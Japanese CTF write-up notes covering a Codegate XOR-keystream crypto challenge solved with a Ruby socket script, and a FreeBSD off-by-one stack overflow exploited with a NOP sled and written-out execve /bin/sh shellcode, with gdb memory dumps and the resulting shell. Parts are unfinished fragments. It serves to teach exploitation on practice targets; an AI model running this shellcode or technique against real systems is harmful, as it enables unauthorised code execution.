以下のURLに模範解答が載っていたので、それを読んで理解した内容をまとめています。
問題文は次の通りで、サーバ上でListenしているプログラムにexploitを打ち込んで、サーバ上に置いてあるkeyが格納されたファイルを取得する問題でした。
credentials: ctf4.codegate.org 9000
BINARY FILE: http://ctf.codegate.org/files____/easy
ダウンロード可能なファイルはLinuxで実行可能なするELF 32bitバイナリです。
$ file easy easy: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped
実行すると標準入力から文字入力を求められます。問題サーバではinetd経由などで動作していると思われます。
$ ./easy Input: a Thanks. Goodbye
入力される文字が長いとプログラムがsegmentation faultで落ちるいつものパターンの問題なのですが、 少しshellcode実行が難しい環境での問題でした。
$ msfelfscan -j eax ./easy [./easy] 0x080484df call eax 0x0804860b call eax

Level 3はサーバに接続すると暗号化されたデータが送られてきて、 そのデータの中から答となるキーの文字列を取り出す問題でした。 問題は以下のような感じです。
credentials: ctf3.codegate.org port 20909
Julianor doesn't understand why block ciphers exist, too complex.. just use his super secure message service.
指定されたサーバに接続すると、16進数の文字列を送り返してきます。
$ nc ctf3.codegate.org 20909 Message To:? a <-適当に文字を入力 e5 2f 79 9d 01 e6 6e a4 4a df b9 b9 4b d7 b1 d0 d9 98 4a 40 55 d2 e9 93 ea 1c 2b 5d 8f 0c 94 e1 72 91 3a 9b 41 a0 a2 2a bf 22 ce c1 fc 49 da 5b 2d 62 b0 9d bf 63 0b 95 df 37 0f 7b 95 8d b2 aa 75 a5 e6 2c 01 df 96 84 8e 54 2b 8f 29 fc f0
もう少し長いデータを送ると、それに応じてデータが長くなります。
$ nc ctf3.codegate.org 20909 Message To:? aa <-適当に文字を入力 e5 2f 79 9d 6a e6 20 85 4e cc eb da 5c c5 d7 a0 e5 95 52 5c 42 8c cf c0 dc 06 2c 0f c9 06 99 e7 35 d8 20 d2 5b c2 8c 29 b3 2a fa dd d6 50 c2 56 3a 63 fe ee a2 71 15 89 f3 36 12 78 8c 96 a1 bf 68 a3 e7 48 01 f8 96 a3 c8 55 4c 8f 31 e0 d4 21
いろいろ試行錯誤した結果、次の仮定を考えて問題に取り組みました。
(1) 暗号化される前のデータはFig.1のようなフォーマットであると仮定
- Fig.1
(2) 単純にXORを使って暗号化している
encryption_data = (header + input_text + secret_text) xor key(3) XORに使用している鍵は、毎回同じ
(4) XORに使用している鍵は、かなり長い
暗号化に使用している鍵が毎回同じということと、XORの演算は片方が0だと、
0 xor 0 -> 0 0 xor 1 -> 1
と、もう片方の値がそのまま出力されることを利用して、 Fig.2のように十分に長い\x00が続くデータを入力すると、 encryption_dataのinput_textに対応する部分にそのまま暗号化に使用した 鍵が出力されると考えました。

試してみると、\x00だとサーバ側の読み込みが先頭で終わってしまうようだったので、 実際には\xffが続くデータを入力して、出力結果の0/1を反転させることで、 暗号化に使用している鍵を得ることができました。
#!/usr/bin/ruby
require 'socket'
require 'pp'
def dump(buf)
puts "========"
buf.each_with_index {|b, i|
puts if i % 8 == 0 && i != 0
#print "#{b.to_s(16)} "
print sprintf("%02x ", b)
}
puts
$stdout.flush
end
def get(str)
s = TCPSocket.new("ctf3.codegate.org", 20909)
s.gets
sleep 0.2
s.print "#{str}\n"
sleep 0.2
buf = []
loop do
l = s.gets
break if l == nil
buf += l.chomp.split(" ").map{|h| h.hex}
end
buf
end
# 0x00を送ると、サーバ側でreadが終わってしまうので、
# 0xffを突っ込んであとから戻す作戦
null = "\xff"
# get key data
# 0xffを突っ込んで、5~79バイトの部分の鍵を取り出す。
key = get(null * 100)
key = key[4, key.size-1]
key = key.map {|b| b ^0xff} # 0xffで鍵を取り出しているので、もとに戻す
dump key
# get encryption data
# 1文字だけ文字を入力。かえってくるデータの5~79バイト目が暗号化されたデータ
src = get(null * 1)
src = src[4, src.size-1]
dump src
# decode (XOR)
i = 0
dst = src.map{|s|
d = s ^ key[i]
i += 1
d
}
# print decode data
pp dst.map{|c| c.chr}.join
$ ./prob3.rb ======== 0b ec 2a c1 2b ad 99 fa 1f 91 91 80 b5 f9 33 25 27 fe e3 ca 85 69 59 7d e9 60 f5 86 52 f8 49 a1 61 e2 ce 45 dc 49 91 82 95 39 b2 3e 5f 11 8d d3 ec 22 54 d6 b0 59 7c 0b fc ff d3 de 1c ca 88 26 0b f2 bb 8e c2 19 01 a5 1b d2 fa 2b b2 38 c7 be 66 91 82 97 22 5b 4e 37 d4 cb 7a 2f 6c 20 74 96 33 2d 92 86 58 2e d9 9b d5 5b c8 3e ff 18 6f ac db 59 89 ef 03 ed a1 d5 57 be fe e9 71 40 ba 83 de 3c a4 31 bf 0f 2e c2 8a 3a 63 83 b0 da d3 15 88 b2 6e bf e1 a8 93 fc 8a 59 4d 8a 4b 4a 5e 2b fb a7 04 24 d4 82 e3 87 a3 5b 69 b7 f2 b0 ======== 01 e6 6e a4 4a df b9 b9 4b d7 b1 d0 d9 98 4a 40 55 d2 e9 93 ea 1c 2b 5d 8f 0c 94 e1 72 91 3a 9b 41 a0 a2 2a bf 22 ce c1 fc 49 da 5b 2d 62 b0 9d bf 63 0b 95 df 37 0f 7b 95 8d b2 aa 75 a5 e6 2c 01 df 96 84 8e 54 2b 8f 29 fc f0 "\n\nDear CTF Player,\nYour flag is: Block_Ciphers=NSA_Conspiration\n\n--\nLM**2.\n"
最後に出力される"Block_Ciphers=NSA_Conspiration"が問題の答えとなるキーです。
TODO: 書きかけ途中。あとで確認して整理すること。
off-by-oneな問題
引数に16byte以上指定すると落ちる。
$ ./eat ./eat <string> $ ./eat aaa first character: a $ ./eat `ruby -e 'print "a"*15'` first character: a $ ./eat `ruby -e 'print "a"*16'` first character: a zsh: segmentation fault (core dumped) ./eat `ruby -e 'print "a"*16'`
0x80484c0からはじまる関数からreturnするときに落ちているっぽい。
strcpy()とかでargv[1]をスタック上のバッファにコピーしたときに、文字列の最後の0x00の分が1byte分ebpをpushしている領域にはみ出ているっぽい。
正常に動くとき。(a)〜(b)に"a"*15+"\x00"の16byteが格納されている。
(gdb) b *0x8048574 (gdb) run `ruby -e 'print "a"*15'` (gdb) x/16x $esp - 32 0xbfbfe770: 0x00000028 0xbfbfe7e0 0x61616161<-(a) 0x61616161 0xbfbfe780: 0x61616161 0x00616161<-(b) 0xbfbfe7a8 0x0804856f 0xbfbfe790: 0xbfbfe97f 0x0000000f 0xbfbfe890 0xbfbfe8a8 0xbfbfe7a0: 0xbfbfe898 0x0000000f 0xbfbfe7c8 0x080485da
はみ出しているとき。(c)〜(e)に"a"*16+"\x00"の17byteが格納されている。16文字以上は同じ。 (e)が格納されているのはスタック上のebpがpushされている場所。
(gdb) b *0x8048574 (gdb) run `ruby -e 'print "a"*16'` (gdb) x/16x $esp - 32 0xbfbfe770: 0x00000028 0xbfbfe7e0 0x61616161<-(c) 0x61616161 0xbfbfe780: 0x61616161 0x61616161<-(d) 0xbfbfe700<-(e) 0x0804856f 0xbfbfe790: 0xbfbfe97f 0x00000010 0xbfbfe890 0xbfbfe8a8 0xbfbfe7a0: 0xbfbfe898 0x00000010 0xbfbfe7c8 0x080485da
つまり、ebpの下位1byteだけが0x00で上書きすることが可能。
shellcodeを実行するためにクリアする必要があるポイント
(1)について今回は、0xbfbfe700辺りに(c)〜(d)のバッファが配置されるように、環境変数や引数に与えるデータ量を調整する。
(gdb) b *0x8048574
(gdb) run `ruby -e 'print "a"*16'` `ruby -e 'print "b"*16'`
(gdb) x/16x $esp - 32
0xbfbfe750: 0x00000028 0xbfbfe7c0 0x61616161<-(f) 0x61616161
0xbfbfe760: 0x61616161 0x61616161<-(g) 0xbfbfe700 0x0804856f
0xbfbfe770: 0xbfbfe96b 0x00000010 0xbfbfe87c 0xbfbfe894
0xbfbfe780: 0xbfbfe884 0x00000010 0xbfbfe7a8 0x080485da
・
・
・
(gdb) b *0x8048574
(gdb) run `ruby -e 'print "a"*16'` `ruby -e 'print "b"*112'`
(gdb) x/16x $esp - 32
0xbfbfe6f0: 0x00000028 0xbfbfe760 0x61616161<-(h) 0x61616161
0xbfbfe700: 0x61616161<-(i) 0x61616161<-(j) 0xbfbfe700<-(k) 0x0804856f
0xbfbfe710: 0xbfbfe90b 0x00000010 0xbfbfe81c 0xbfbfe834
0xbfbfe720: 0xbfbfe824 0x00000010 0xbfbfe748 0x080485da
argv[2]にbを112文字突っ込んだら、(h)〜(j)のバッファが0xbfbfe700辺りに配置された。
ここまで来たら、level3と同じように、(j)にジャンプ先のアドレスを入れておけば、任意アドレスのコードを実行することができる。
(gdb) run `ruby -e 'print "a"*12+"AAAA"'` `ruby -e 'print "b"*112'` Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () <-"AAAA"の文字列
(2)については、とりあえずargv[2]の領域にshellcodeを配置して実行する。
(gdb) b *0x8048574
(gdb) run `ruby -e 'print "a"*12+"\x1c\xe9\xbf\xbf"'` `ruby -e 'print "\x31\xc0\x50\x89\xe0\x83\xe8\x10\x50\x89\xe3\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50\x53\x52\x50\xb0\x3b\xcd\x80"+"b"*76'`
Reading symbols from /lib/libc.so.7...(no debugging symbols found)...done.
Reading symbols from /libexec/ld-elf.so.1...(no debugging symbols found)...done.
first character: a
Breakpoint 1, 0x08048574 in ?? ()
(gdb) x/256x $esp - 32
0xbfbfe6f0: 0x00000028 0xbfbfe760 0x61616161<-(h) 0x61616161
0xbfbfe700: 0x61616161<-(i) 0xbfbfe91c<-(j) 0xbfbfe700<-(k) 0x0804856f
0xbfbfe710: 0xbfbfe90b 0x00000010 0xbfbfe81c 0xbfbfe834
・
・
・
0xbfbfe900: 0x6576656c 0x652f386c 0x61007461<-(l) 0x61616161
0xbfbfe910: 0x61616161 0x1c616161 0x00bfbfe9 0x8950c031<-(m)
0xbfbfe920: 0x10e883e0 0x31e38950 0x2f6850c0 0x6868732f
0xbfbfe930: 0x6e69622f 0xc031e289 0x50525350 0x80cd3bb0
0xbfbfe940: 0x62626262 0x62626262 0x62626262 0x62626262
0xbfbfe950: 0x62626262 0x62626262 0x62626262 0x62626262
0xbfbfe960: 0x62626262 0x62626262 0x62626262 0x62626262
0xbfbfe970: 0x62626262 0x62626262 0x62626262 0x62626262
0xbfbfe980: 0x62626262 0x62626262 0x62626262 0x2f3d5f00
(gdb) c
Program received signal SIGTRAP, Trace/breakpoint trap.
Cannot remove breakpoints because program is no longer writable.
It might be running in another process.
Further execution is probably impossible.
0x280655f0 in __stack_chk_fail_local () from /libexec/ld-elf.so.1
gdb上ではshellcodeは実行されないけど、"It might be running in another process."が表示されているとexploitが決まってるっぽい雰囲気。
あとは、gdbなし環境で実行できるようにアドレスを調整する。
ただ、今回はアドレスを調整するのが非常に難しい。難しい原因は次の通り
地道に探してみるか…
まずは(1)を調整してみる。
$ cd ~
$ mkdir level8
$ cd level8
$ cp /home/level8/eat .
$ rm -f eat.core && ./eat `ruby -e 'print "a"*12+"\x1c\xe9\xbf\xbf"'` `ruby -e 'print "\x31\xc0\x50\x89\xe0\x83\xe8\x10\x50\x89\xe3\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50\x53\x52\x50\xb0\x3b\xcd\x80"+"b"*76'`
first character: a
zsh: segmentation fault (core dumped)
$ gdb -c eat.core
GNU gdb 6.1.1 [FreeBSD]Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-marcel-freebsd".
Core was generated by `eat'.
Program terminated with signal 11, Segmentation fault.
#0 0xbfbfe932 in ?? ()
(gdb) x/256x 0xbfbfe6f0 <- 前のバッファ周辺のアドレスを探してみる
0xbfbfe700: 0x00000010 0xbfbfe932 0xbfbfe748 0x00000061
0xbfbfe710: 0xbfbfe724 0x00000003 0xbfbfe748 0x0804851f
0xbfbfe720: 0x0804867d 0x00000061 0x00000010 0x28088000
0xbfbfe730: 0x00000028 0xbfbfe7a0 0x61616161<-(h) 0x61616161
0xbfbfe740: 0x61616161<-(i) 0xbfbfe91c<-(j) 0xbfbfe700<-(k) 0x0804856f
0xbfbfe750: 0xbfbfe922 0x00000010 0x00000000 0x00000000
0xbfbfe760: 0x00000000 0x00000010 0xbfbfe788 0x080485da
0xbfbfe770: 0xbfbfe922 0x00000000 0xbfbfe798 0xbfbfe7a0
0xbfbfe780: 0x00000020 0xbfbfe7a0 0xbfbfe7b8 0x08048449 ・
・
・
・
いろいろ試してみると、1byteだけ書き換えた(k)の値は0xbfbfe700から変わらないっぽいので、 argv[2]の長さをいろいろ試してみると…
[yoggy@freebsd80 ~]$ cd /home/level8/
[yoggy@freebsd80 /home/level8]$ ./eat `ruby -e 'print "a"*12+"\x1c\xe9\xbf\xbf"'` `ruby -e 'print "\x90"*140 + "\x31\xc0\x50\x89\xe0\x83\xe8\x10\x50\x89\xe3\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50\x53\x52\x50\xb0\x3b\xcd\x80"'`
first character: a
Segmentation fault: 11 (core dumped)
[yoggy@freebsd80 /home/level8]$ ./eat `ruby -e 'print "a"*12+"\x1c\xe9\xbf\xbf"'` `ruby -e 'print "\x90"*150 + "\x31\xc0\x50\x89\xe0\x83\xe8\x10\x50\x89\xe3\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50\x53\x52\x50\xb0\x3b\xcd\x80"'`
first character: a
Segmentation fault: 11 (core dumped)
・
・
・
[yoggy@freebsd80 /home/level8]$ ./eat `ruby -e 'print "a"*12+"\x1c\xe9\xbf\xbf"'` `ruby -e 'print "\x90"*190 + "\x31\xc0\x50\x89\xe0\x83\xe8\x10\x50\x89\xe3\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50\x53\x52\x50\xb0\x3b\xcd\x80"'`
first character: a
$
$ whoami
level8
$ ls
eat eat.ans password
$ cat password
1byte overflow!
$
argv[2]の先頭アドレスをぴったり当てなくても大丈夫なように、 argv[2]の先頭にNOP(0x90)を入れておいて、その後ろにshellcodeを配置。 (j)で指定するジャンプ先がargv[2]の先頭付近に着地すればOKなように工夫。
argv[2]の長さは環境にあわせて調整すること。
$ ./eat `ruby -e 'print "a"*12+"\x1c\xe9\xbf\xbf"'` `ruby -e 'print "\x90"*190 + "\x31\xc0\x50\x89\xe0\x83\xe8\x10\x50\x89\xe3\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50\x53\x52\x50\xb0\x3b\xcd\x80"'`
普通の環境では、unlink_small_chunk()の中でF,Bの内容チェックが行われている。
考えないといけない点
shellcodeを実行するコツ?(by ucq)